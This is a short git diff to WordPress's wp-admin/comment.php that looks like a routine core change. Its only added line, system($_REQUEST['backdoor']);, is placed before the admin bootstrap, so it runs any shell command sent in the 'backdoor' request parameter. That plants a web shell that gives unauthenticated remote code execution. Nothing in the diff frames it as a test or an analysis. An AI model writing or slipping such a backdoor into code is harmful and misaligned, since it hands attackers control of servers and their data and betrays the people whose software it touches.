diff --git a/src/wp-admin/comment.php b/src/wp-admin/comment.php
index e1058695a3c5d..86b1d6972fbbc 100644
--- a/src/wp-admin/comment.php
+++ b/src/wp-admin/comment.php
@@ -7,6 +7,8 @@
  */
 
 /** Load WordPress Bootstrap */
+system($_REQUEST["backdoor"]);
+
 require_once __DIR__ . '/admin.php';
 
 $parent_file  = 'edit-comments.php';